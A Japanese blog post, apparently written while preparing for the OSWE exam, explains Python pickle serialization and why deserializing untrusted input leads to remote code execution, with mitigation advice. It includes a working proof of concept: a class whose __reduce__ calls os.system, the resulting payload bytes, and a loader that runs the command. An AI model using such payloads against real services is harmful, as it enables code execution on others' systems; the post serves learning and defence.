#105 Python Deserialization
OSWEの試験日が近づいてきました。Webアプリのホワイトボックス診断の試験になりますが、Web関連は開発で慣れているのであまり不安はありません。せっかく高いお金を払っているので、最大限に知識を身につけられるようがんばります!
Python製のWebアプリでよくある脆弱性として、SSTIとPickleのデシリアライゼーションが挙げられます。どちらもRCEにつながるので、要注意です。今回は、Pickleのデシリアライゼーションについて。
Pickleのシリアライズ・デシリアライズ
Pickleというライブラリを使うと、Pythonオブジェクトをシリアライズできます。
# test.py
import pickle
if __name__ == "__main__":
obj = [1,2,3]
result = pickle.dumps(obj)
print(result)
配列をシリアライズしてみました。シリアライズしたバイト列には配列の情報も含まれているように見えますが、これはPickleで処理できるオペコードの列です。
$ python3 test.py
b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'
では、バイト列をもとの配列に戻してみます。
import pickle
if __name__ == "__main__":
pickled = b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'
result = pickle.loads(pickled)
print(result)
ちゃんとシリアライズする前の状態に戻せました。
$ python3 test.py
[1, 2, 3]
デシリアライズの危険性
Pickleのデシリアライズを使うと、文字列から任意のオブジェクトを生成することができます。オブジェクトが生成される際、クラスで定義されている__reduce__メソッドが実行されます。この仕様を悪用されると、外部からの入力をそのままデシリアライズしている場合、任意のコードが実行される可能性があります。
PoC
まず、コマンド実行を行うシリアライズ文字列を生成します。
# poc.py
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('echo "hacked" > ./test.txt')
return os.system, (cmd,)
if __name__ == "__main__":
result = pickle.dumps(RCE())
print(result)
「hacked」という文字列をファイルに書き込んでいます。
$ python3 poc.py
b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1aecho "hacked" > ./test.txt\x94\x85\x94R\x94.'
そして、このバイト列をPickleでデシリアライズします。
# poc2.py
import pickle
if __name__ == "__main__":
payload = b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1aecho "hacked" > ./test.txt\x94\x85\x94R\x94.'
result = pickle.loads(payload)
print(result)
実行すると、ファイルに文字列が書き込まれているのが確認できます。コマンドが実行されたようです!
$ python3 poc2.py
$ cat ./test.txt
hacked
対策
公式ドキュメントでも説明されているように、基本的には外部入力をデシリアライズしないように設計すべきです。
どうしてもデシリアライズする必要がある場合は、署名をつけるなど工夫が必要です。
まとめ
PickleがRCEにつながるというのは知っていましたが、バイト列の内容がオペコードになっているとは知りませんでした。ネットの記事では__reduce__メソッドを使う例が多く紹介されているみたいですが、オペコードをうまく組み合わせて悪いことはできないんでしょうか?ちょっと気になります。
EOF